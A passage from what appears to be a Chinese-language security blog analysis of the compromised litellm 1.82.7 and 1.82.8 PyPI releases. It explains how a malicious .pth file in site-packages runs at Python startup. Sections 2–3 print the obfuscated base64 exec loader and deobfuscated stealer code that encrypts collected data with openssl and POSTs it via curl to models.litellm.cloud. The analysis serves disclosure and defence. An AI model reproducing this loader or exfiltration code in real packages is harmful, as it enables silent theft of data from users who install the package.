</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">uvx</span></code><span leaf=""> 启动 MCP 服务，而 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">uvx</span></code><span leaf=""> 每次执行都会重新拉取依赖，这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="image-20260325175119199" class="rich_pages wxw-img" data-ratio="0.19814814814814816" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005441" src="https://wechat2rss.xlab.app/img-proxy/?k=3019b877&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsOKTSVSib4N8K7GeMwiaicYACZ6MjibBekKM3yLMzWGccdR94gMGXDXCcpm8Bicg3ko6KLn9K82huWBlnndhGvQXpffmzkXbnbfhAE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. 攻击原理解析</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">2.1 攻击复现</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm-1.82.8</span></code><span leaf=""> 通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件加载恶意载荷，使攻击代码在 Python 启动时自动执行。我们复现了相关攻击流程如下：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="realize" class="rich_pages wxw-img" data-ratio="0.37592592592592594" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005442" src="https://wechat2rss.xlab.app/img-proxy/?k=e04031b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsvEQWGf9YZyWd81xkibia2VJwACFhErQoXl6zJYI96SVRwR9qPBu0PFHraFzGuc5B75s92icM5NiaMG6gcjNNBUQPHD57kqOhSmSE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过分析其 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pyproject.toml</span></code><span leaf="">，可以发现 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code><span leaf=""> 被显式打包，在用户安装后会被放置到 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site-packages</span></code><span leaf=""> 目录中。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="realize" class="rich_pages wxw-img" data-ratio="0.21203703703703702" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005443" src="https://wechat2rss.xlab.app/img-proxy/?k=e683757f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdv1jB6jN0KctfEAxMCEokATjIXXdgOn2egk4oj3vJyj0qoyNKicVP4n0SOYGBHgKAjR1jUQ2t8YUfgrMhGeSTxspPpLdq0ibLL14%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pyproject.toml</span></code></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="realize" class="rich_pages wxw-img" data-ratio="0.3603431839847474" data-type="png" data-w="1049" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005446" src="https://wechat2rss.xlab.app/img-proxy/?k=8531e5f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMducKc0xflHkyzNleTn3by118nguicJWM7ptTzT04ficG7GUeNM4g53cIx4pQZgOopjicjCNeWiar1u6QKONrASd65QUSS9S0yDaUSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">2.2 原理解析</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过分析 CPython 源码可以发现，Python 在启动时会自动加载 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site</span></code><span leaf=""> 模块，该模块负责初始化运行环境并加载 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site-packages</span></code><span leaf=""> 目录。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="site" class="rich_pages wxw-img" data-ratio="0.5051334702258727" data-type="png" data-w="974" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005447" src="https://wechat2rss.xlab.app/img-proxy/?k=ab9b901f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdts42sbJNxFjibwXnNm7ZfyA2l0SoDpzz4mcoajy5WIq0Kr7AeRALqpfLSHGRrByMVFLohTM1Nlcro3SjSrTgiaR9ibA91eLfocIU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">进一步分析 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site.py</span></code><span leaf=""> 可知，其会扫描并执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site-packages</span></code><span leaf=""> 目录下所有 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件中的 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">import</span></code><span leaf=""> 语句。因此，攻击者无需任何用户交互，即可在安装完成后自动触发恶意代码执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="site" class="rich_pages wxw-img" data-ratio="0.5712962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005448" src="https://wechat2rss.xlab.app/img-proxy/?k=44870d4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsSoVTsXWtvYu1ayMMgYy1DEq3gEn5FNMogrNqUGhIxHDxgaQD9xV0aykUOOHDCvnNgLcvxwWBqlnIXgJ6BahDf5WxRicWNcibias%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">import</span> os, subprocess, sys; subprocess.<span class="code-snippet__title">Popen</span>([sys.<span class="code-snippet__property">executable</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, <span class="code-snippet__string">&#34;import base64; exec(base64.b64decode(&#39;aW1wb3J0IHN....&#39;))&#34;</span>], stdout=subprocess.<span class="code-snippet__property">DEVNULL</span>, stderr=subprocess.<span class="code-snippet__property">DEVNULL</span>)</span></code></pre></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">3. 攻击代码解析</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">3.1 两种注入方式</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">两个恶意版本的注入方式存在差异：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1.82.7：</span></strong><p><span leaf="">在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm/proxy/proxy_server.py</span></code><span leaf=""> 中注入代码</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1.82.8：</span></strong><p><span leaf="">通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件在启动阶段执行</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm/proxy/proxy_server.py</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> subprocess, base64, sys, tempfile, os</span></code><br/><code><span leaf="">b64_payload = <span class="code-snippet__string">&#34;aW1wb3J0IHN1YnBy...&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> tempfile.TemporaryDirectory() <span class="code-snippet__keyword">as</span> d:</span></code><br/><code><span leaf="">p = os.path.join(d, <span class="code-snippet__string">&#34;p.py&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(p, <span class="code-snippet__string">&#34;wb&#34;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><br/><code><span leaf="">f.write(base64.b64decode(b64_payload))</span></code><br/><code><span leaf="">subprocess.run([sys.executable, p])</span></code><br/><code><span leaf="">...</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">litellm/proxy/__init__.py</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">from</span> . <span class="code-snippet__keyword">import</span> *</span></code></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">当 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">proxy</span></code><span leaf=""> 模块被导入时，恶意代码即被执行。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">3.2 恶意代码解析</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过对</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code><span leaf="">中的恶意代码进行反混淆，我们获得了如下代码。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">import</span> subprocess</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> tempfile</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> os</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> base64</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> sys</span></code><br/><code><span leaf="">PUB_KEY_CONTENT = <span class="code-snippet__string">&#34;&#34;&#34;-----BEGIN PUBLIC KEY-----</span></span></code><br/><code><span leaf="">MIICIj...AAQ==</span></code><br/><code><span leaf="">-----END PUBLIC KEY-----&#34;&#34;&#34;</span></code><br/><code><span leaf="">B64_SCRIPT = </span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;aW1wb3J0IG9zLH...&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">run</span>():</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;openssl&#34;</span>, <span class="code-snippet__string">&#34;rand&#34;</span>, <span class="code-snippet__string">&#34;-out&#34;</span>, sk, <span class="code-snippet__string">&#34;32&#34;</span>], check=<span class="code-snippet__literal">True</span>)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;openssl&#34;</span>, <span class="code-snippet__string">&#34;enc&#34;</span>, <span class="code-snippet__string">&#34;-aes-256-cbc&#34;</span>, <span class="code-snippet__string">&#34;-in&#34;</span>, collected, <span class="code-snippet__string">&#34;-out&#34;</span>, ef, <span class="code-snippet__string">&#34;-pass&#34;</span>, <span class="code-snippet__string">f&#34;file:</span><span class="code-snippet__string"><span class="code-snippet__subst">{sk}</span></span><span class="code-snippet__string">&#34;</span>, <span class="code-snippet__string">&#34;-pbkdf2&#34;</span>], check=<span class="code-snippet__literal">True</span>, stderr=subprocess.DEVNULL)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;openssl&#34;</span>, <span class="code-snippet__string">&#34;pkeyutl&#34;</span>, <span class="code-snippet__string">&#34;-encrypt&#34;</span>, <span class="code-snippet__string">&#34;-pubin&#34;</span>, <span class="code-snippet__string">&#34;-inkey&#34;</span>, pk, <span class="code-snippet__string">&#34;-in&#34;</span>, sk, <span class="code-snippet__string">&#34;-out&#34;</span>, ek, <span class="code-snippet__string">&#34;-pkeyopt&#34;</span>, <span class="code-snippet__string">&#34;rsa_padding_mode:oaep&#34;</span>], check=<span class="code-snippet__literal">True</span>, stderr=subprocess.DEVNULL)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;tar&#34;</span>, <span class="code-snippet__string">&#34;-czf&#34;</span>, bn, <span class="code-snippet__string">&#34;-C&#34;</span>, d, <span class="code-snippet__string">&#34;payload.enc&#34;</span>, <span class="code-snippet__string">&#34;session.key.enc&#34;</span>], check=<span class="code-snippet__literal">True</span>)</span></code><br/><code><span leaf="">subprocess.run([</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;curl&#34;</span>, <span class="code-snippet__string">&#34;-s&#34;</span>, <span class="code-snippet__string">&#34;-o&#34;</span>, <span class="code-snippet__string">&#34;/dev/null&#34;</span>, <span class="code-snippet__string">&#34;-w&#34;</span>, <span class="code-snippet__string">&#34;%{http_code}&#34;</span>, <span class="code-snippet__string">&#34;-X&#34;</span>, <span class="code-snippet__string">&#34;POST&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;https[:]//models.litellm.cloud/&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;-H&#34;</span>, <span class="code-snippet__string">&#34;Content-Type: application/octet-stream&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;-H&#34;</span>, <span class="code-snippet__string">&#34;X-Filename: tpcp.tar.gz&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;--data-binary&#34;</span>, <span class="code-snippet__string">f&#34;@</span><span class="code-snippet__string"><span class="code-snippet__subst">{bn}</span></span><span class="code-snippet__string">&#34;</span></span></code><br/><code><span leaf="">], check=<span class="code-snippet__literal">True</span>, stderr=subprocess.DEVNULL)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span> Exception:</span></code><br/><code><span leaf=""><span 